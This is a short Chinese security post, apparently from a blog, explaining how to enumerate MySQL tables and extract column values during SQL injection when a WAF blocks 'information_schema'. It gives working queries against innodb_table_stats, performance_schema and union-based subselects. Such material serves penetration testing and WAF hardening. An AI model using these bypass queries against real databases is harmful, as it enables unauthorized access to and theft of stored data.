问:在进行MySQL注入时,我们通常是通过information_schema元数据来获取表名、字段名信息,从而读取相应数据。但是如果waf或其它过滤了information_schema关键字,那么还有什么方法可以读取元数据信息呢?答:从MySQL5.5开始,默认存储引擎称为InnoDB,但是在MySQL5.6及更高版本中,InnoDB创建了2个新表。innodb_index_stats和innodb_table_stats。这两个表都包含所有新创建数据库名及表名。
select * from mysql.innodb_table_stats;
select * from mysql.innodb_index_stats;
select table_name from mysql.innodb_table_stats where database_name=schema();
performance_schema方法:
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
表名知道了,那如何提取列名呢?根本不需要探测字段个数,当然你也可以用order by, group_by:
select (select*from users limit 1)=(select 1);
select (select*from users limit 1)=(select 1, 2);
提取指定字段值:
select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
发表于国外最近某篇文章,觉得不错,实验了下发出来。